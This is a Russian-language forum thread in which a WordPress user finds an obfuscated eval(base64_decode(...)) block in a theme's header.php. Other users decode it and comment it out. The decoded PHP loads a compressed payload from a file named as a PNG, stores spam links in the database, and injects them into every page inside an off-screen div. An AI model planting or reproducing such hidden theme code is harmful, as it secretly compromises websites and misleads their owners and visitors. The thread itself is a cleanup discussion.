X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Как удалить ссылку с темы
Vistaa
Vistaa
Topic Starter сообщение 24.7.2011, 22:17; Ответить: Vistaa
Сообщение #1


Участник
***

Группа: User
Сообщений: 208
Регистрация: 12.2.2011
Поблагодарили: 11 раз
Репутация:   3  


Поставил тему вордпресс, в ней в футере ссылка забита одна. Поискал и нашел 2 ссылки. Удалил их, но ссылка с футера так и непропала. А в теме больше немогу найти ее. Где она забита?


--------------------
Программы по акция качаю тут
Обзор деинсталляторов здесь
Скачать самую главную библиотеку для Виндовс
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
WebAction
WebAction
сообщение 24.7.2011, 22:26; Ответить: WebAction
Сообщение #2


Топовый постер
*******

Группа: Super Moderator
Сообщений: 3059
Регистрация: 18.11.2009
Поблагодарили: 2512 раз
Репутация:   249  


Возможно используется в каком-то из модулей.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Vistaa
Vistaa
Topic Starter сообщение 29.7.2011, 18:55; Ответить: Vistaa
Сообщение #3


Участник
***

Группа: User
Сообщений: 208
Регистрация: 12.2.2011
Поблагодарили: 11 раз
Репутация:   3  


Нашел закодированный текст в header.php Ссылки на сайте есть два левых, так их не замечаю , только когда сижу с телефона то видно их. Пробовал расшифровать код, но ссылок в расшифрованом виде нет. Каким способом удалить его?
код выглядит так:
<?php eval(base64_decode('JGZ0PWRpcm5hbWUoX19maWxlX18pLicvaW1hZ2VzL3dwX21lbnVfdG9wLnBuZyc7ICRiZj0kd3Bk
Yi0+Z2V0X3JvdygiU0VMRUNUICogRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBgb3B0aW9uX25hbWVg
P
Sd3cF90aGVtZV9tZW51X2ZpcnN0JyBMSU1JVCAxIik7IGlmIChmaWxlX2V4aXN0cygkZnQpIGFuZCAhJ
G
JmKXskZnAgPSBmb3BlbigkZnQsInIiKTsgJHNzID0gZnJlYWQoJGZwLGZpbGVzaXplKCRmdCkpOyBmY2
x
vc2UoJGZwKTsgZXZhbCgnJG1zcz0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHNzKSkuJzsnKTs
g
JGk9JG1zc1swXTsgJGkxPSRtc3NbMV07ICRpMj0kbXNzWzJdOyB1bnNldCAoJG1zc1swXSwkbXNzWzFd
L
CRtc3NbMl0pOyBzcmFuZCgoZmxvYXQpbWljcm90aW1lKCkqMTAwMDAwMCk7IHNodWZmbGUoJG1zcyk7I
C
Rjc3NbMF0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMF0uJGkuJG1zc1sxXS4nLi
c
7ICRjc3NbMV0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMl0uJGkuJG1zc1szXS4
n
Lic7ICR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLG9w
d
Glvbl92YWx1ZSxhdXRvbG9hZCkgVkFMVUVTICgnd3BfdGhlbWVfbWVudV9maXJzdCcsJyIuYmFzZTY0X
2
VuY29kZSgkY3NzWzBdKS4iJywnbm8nKSIpOyAkd3BkYi0+cXVlcnkoIklOU0VSVCBJTlRPICR3cGRiLT
5
vcHRpb25zIChvcHRpb25fbmFtZSxvcHRpb25fdmFsdWUsYXV0b2xvYWQpIFZBTFVFUyAoJ3dwX3RoZW1
l
X21lbnVfc2Vjb25kJywnIi5iYXNlNjRfZW5jb2RlKCRjc3NbMV0pLiInLCdubycpIik7fSBmdW5jdGlv
b
iBmbigpe2dsb2JhbCAkd3BkYjsgJGJmPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiL
T
5vcHRpb25zIFdIRVJFIGBvcHRpb25fbmFtZWA9J3dwX3RoZW1lX21lbnVfZmlyc3QnIExJTUlUIDEiKT
s
gJGJzPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT5vcHRpb25zIFdIRVJFIGBvcHR
p
b25fbmFtZWA9J3dwX3RoZW1lX21lbnVfc2Vjb25kJyBMSU1JVCAxIik7IGlmKChpc19ob21lKCkpJiYh
K
GlzX3BhZ2VkKCkpKSAkbm49YmFzZTY0X2RlY29kZSgkYmYtPm9wdGlvbl92YWx1ZSk7IGVsc2UgJG5uP
W
Jhc2U2NF9kZWNvZGUoJGJzLT5vcHRpb25fdmFsdWUpOyByZXR1cm4gJG5uO30gZnVuY3Rpb24gY2IoJG
J
mKXskZG8gPSAiPC9ib2R5PiI7ICRuYSA9ICIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk
J
CQkJCQk8ZGl2IHN0eWxlPVwicG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTI0NXB4O3dpZHRoOi0yMzU2
c
Hg7XCI+Ii5mbigpLiI8L2Rpdj5cbjwvYm9keT4iOyByZXR1cm4gZXJlZ2lfcmVwbGFjZSgkZG8sICRuY
S
wgJGJmKTt9IGlmICgkYmYpIG9iX3N0YXJ0KCJjYiIpOw=='));?>


--------------------
Программы по акция качаю тут
Обзор деинсталляторов здесь
Скачать самую главную библиотеку для Виндовс
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Basketz
Basketz
сообщение 29.7.2011, 19:07; Ответить: Basketz
Сообщение #4


Бывалый
****

Группа: User
Сообщений: 498
Регистрация: 6.8.2008
Поблагодарили: 167 раз
Репутация:   43  


Закодированно в base64
Вот код
$ft=dirname(__file__).'/images/wp_menu_top.png'; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); if (file_exists($ft) and !$bf){$fp = fopen($ft,"r"); $ss = fread($fp,filesize($ft)); fclose($fp); eval('$mss='.gzuncompress(stripslashes($ss)).';'); $i=$mss[0]; $i1=$mss[1]; $i2=$mss[2]; unset ($mss[0],$mss[1],$mss[2]); srand((float)microtime()*1000000); shuffle($mss); $css[0] = $i1.get_bloginfo('name').$i2.$mss[0].$i.$mss[1].'.'; $css[1] = $i1.get_bloginfo('name').$i2.$mss[2].$i.$mss[3].'.'; $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_first','".base64_encode($css[0])."','no')"); $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_second','".base64_encode($css[1])."','no')");} function fn(){global $wpdb; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); $bs=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_second' LIMIT 1"); if((is_home())&&!(is_paged())) $nn=base64_decode($bf->option_value); else $nn=base64_decode($bs->option_value); return $nn;} function cb($bf){$do = "</body>"; $na = "                                                                                                                                                            <div style=\"position:absolute;left:-1245px;width:-2356px;\">".fn()."</div>\n</body>"; return eregi_replace($do, $na, $bf);} if ($bf) ob_start("cb");


--------------------
Maul уже 2,5 года инвестирует в трейдера sven свои деньги.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Vistaa
Vistaa
Topic Starter сообщение 29.7.2011, 19:12; Ответить: Vistaa
Сообщение #5


Участник
***

Группа: User
Сообщений: 208
Регистрация: 12.2.2011
Поблагодарили: 11 раз
Репутация:   3  


(Basketz @ 29.7.2011, 18:07) *
Закодированно в base64
Вот код
$ft=dirname(__file__).'/images/wp_menu_top.png'; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); if (file_exists($ft) and !$bf){$fp = fopen($ft,"r"); $ss = fread($fp,filesize($ft)); fclose($fp); eval('$mss='.gzuncompress(stripslashes($ss)).';'); $i=$mss[0]; $i1=$mss[1]; $i2=$mss[2]; unset ($mss[0],$mss[1],$mss[2]); srand((float)microtime()*1000000); shuffle($mss); $css[0] = $i1.get_bloginfo('name').$i2.$mss[0].$i.$mss[1].'.'; $css[1] = $i1.get_bloginfo('name').$i2.$mss[2].$i.$mss[3].'.'; $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_first','".base64_encode($css[0])."','no')"); $wpdb->query("INSERT INTO $wpdb->options (option_name,option_value,autoload) VALUES ('wp_theme_menu_second','".base64_encode($css[1])."','no')");} function fn(){global $wpdb; $bf=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_first' LIMIT 1"); $bs=$wpdb->get_row("SELECT * FROM $wpdb->options WHERE `option_name`='wp_theme_menu_second' LIMIT 1"); if((is_home())&&!(is_paged())) $nn=base64_decode($bf->option_value); else $nn=base64_decode($bs->option_value); return $nn;} function cb($bf){$do = "</body>"; $na = "                                                                                                                                                            <div style=\"position:absolute;left:-1245px;width:-2356px;\">".fn()."</div>\n</body>"; return eregi_replace($do, $na, $bf);} if ($bf) ob_start("cb");



Мне теперь этот код заменить? А ссылки как удалить, тут их я не вижу что то.


--------------------
Программы по акция качаю тут
Обзор деинсталляторов здесь
Скачать самую главную библиотеку для Виндовс
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Basketz
Basketz
сообщение 29.7.2011, 19:14; Ответить: Basketz
Сообщение #6


Бывалый
****

Группа: User
Сообщений: 498
Регистрация: 6.8.2008
Поблагодарили: 167 раз
Репутация:   43  


Сайт дадите глянуть, постараюсь помочь.


--------------------
Maul уже 2,5 года инвестирует в трейдера sven свои деньги.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
galpern
galpern
сообщение 15.10.2011, 22:44; Ответить: galpern
Сообщение #7


Новичок
*

Группа: Viewer
Сообщений: 2
Регистрация: 15.10.2011
Поблагодарили: 0 раз
Репутация:   0  


Достаточно закомментировать строки подобным образом:

<?php/* eval(base64_decode('JGZ0PWRpcm5hbWUoX19maWxlX18pLicvaW1hZ2VzL3dwX21lbnVfdG9wLnBuZyc7ICRiZj0kd3Bk
Yi0+Z2V0X3JvdygiU0VMRUNUICogRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBgb3B0aW9uX25hbWVg
P
Sd3cF90aGVtZV9tZW51X2ZpcnN0JyBMSU1JVCAxIik7IGlmIChmaWxlX2V4aXN0cygkZnQpIGFuZCAhJ
G
JmKXskZnAgPSBmb3BlbigkZnQsInIiKTsgJHNzID0gZnJlYWQoJGZwLGZpbGVzaXplKCRmdCkpOyBmY2
x
vc2UoJGZwKTsgZXZhbCgnJG1zcz0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHNzKSkuJzsnKTs
g
JGk9JG1zc1swXTsgJGkxPSRtc3NbMV07ICRpMj0kbXNzWzJdOyB1bnNldCAoJG1zc1swXSwkbXNzWzFd
L
CRtc3NbMl0pOyBzcmFuZCgoZmxvYXQpbWljcm90aW1lKCkqMTAwMDAwMCk7IHNodWZmbGUoJG1zcyk7I
C
Rjc3NbMF0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMF0uJGkuJG1zc1sxXS4nLi
c
7ICRjc3NbMV0gPSAkaTEuZ2V0X2Jsb2dpbmZvKCduYW1lJykuJGkyLiRtc3NbMl0uJGkuJG1zc1szXS4
n
Lic7ICR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLG9w
d
Glvbl92YWx1ZSxhdXRvbG9hZCkgVkFMVUVTICgnd3BfdGhlbWVfbWVudV9maXJzdCcsJyIuYmFzZTY0X
2
VuY29kZSgkY3NzWzBdKS4iJywnbm8nKSIpOyAkd3BkYi0+cXVlcnkoIklOU0VSVCBJTlRPICR3cGRiLT
5
vcHRpb25zIChvcHRpb25fbmFtZSxvcHRpb25fdmFsdWUsYXV0b2xvYWQpIFZBTFVFUyAoJ3dwX3RoZW1
l
X21lbnVfc2Vjb25kJywnIi5iYXNlNjRfZW5jb2RlKCRjc3NbMV0pLiInLCdubycpIik7fSBmdW5jdGlv
b
iBmbigpe2dsb2JhbCAkd3BkYjsgJGJmPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiL
T
5vcHRpb25zIFdIRVJFIGBvcHRpb25fbmFtZWA9J3dwX3RoZW1lX21lbnVfZmlyc3QnIExJTUlUIDEiKT
s
gJGJzPSR3cGRiLT5nZXRfcm93KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT5vcHRpb25zIFdIRVJFIGBvcHR
p
b25fbmFtZWA9J3dwX3RoZW1lX21lbnVfc2Vjb25kJyBMSU1JVCAxIik7IGlmKChpc19ob21lKCkpJiYh
K
GlzX3BhZ2VkKCkpKSAkbm49YmFzZTY0X2RlY29kZSgkYmYtPm9wdGlvbl92YWx1ZSk7IGVsc2UgJG5uP
W
Jhc2U2NF9kZWNvZGUoJGJzLT5vcHRpb25fdmFsdWUpOyByZXR1cm4gJG5uO30gZnVuY3Rpb24gY2IoJG
J
mKXskZG8gPSAiPC9ib2R5PiI7ICRuYSA9ICIJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk
J
CQkJCQk8ZGl2IHN0eWxlPVwicG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTI0NXB4O3dpZHRoOi0yMzU2
c
Hg7XCI+Ii5mbigpLiI8L2Rpdj5cbjwvYm9keT4iOyByZXR1cm4gZXJlZ2lfcmVwbGFjZSgkZG8sICRuY
S
wgJGJmKTt9IGlmICgkYmYpIG9iX3N0YXJ0KCJjYiIpOw=='));*/?>

Вопрос на заметку: вы темы случайно не с сайта inwp(точка)ru!? Ибо только что прошлась по топ 10 запросов, заражены сайты, темы которых скачаны именно с него.

Пруф:

http://www.google.ru/webhp?hl=ru#sclient=p...366&bih=624
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Как мошенники зарабатывают на прямых трансляциях в Instagram
Не ждите порно в инстаграм, его нет
12 PostBrigada 1309 Вчера, 23:00
автор: PostBrigada
Открытая тема (нет новых ответов) Как сейчас зарегистрировать Яндекс кошелек за пределами России?
4 metvekot 360 Вчера, 19:04
автор: metvekot
Открытая тема (нет новых ответов) Как поднять доверие к сайту?
5 fair_exchange 386 Вчера, 18:33
автор: genjnat
Открытая тема (нет новых ответов) Маленький кейс как сделать много почтовых ящиков в Gmail
Один аккаунт = много ящиков
1 PostBrigada 534 15.12.2017, 21:34
автор: Pingunio
Горячая тема (нет новых ответов) Черный список обменников и как безопасно обменять валюту
141 Kurses 29949 15.12.2017, 13:04
автор: BestExchangers


 



RSS Текстовая версия Сейчас: 17.12.2017, 10:25
Дизайн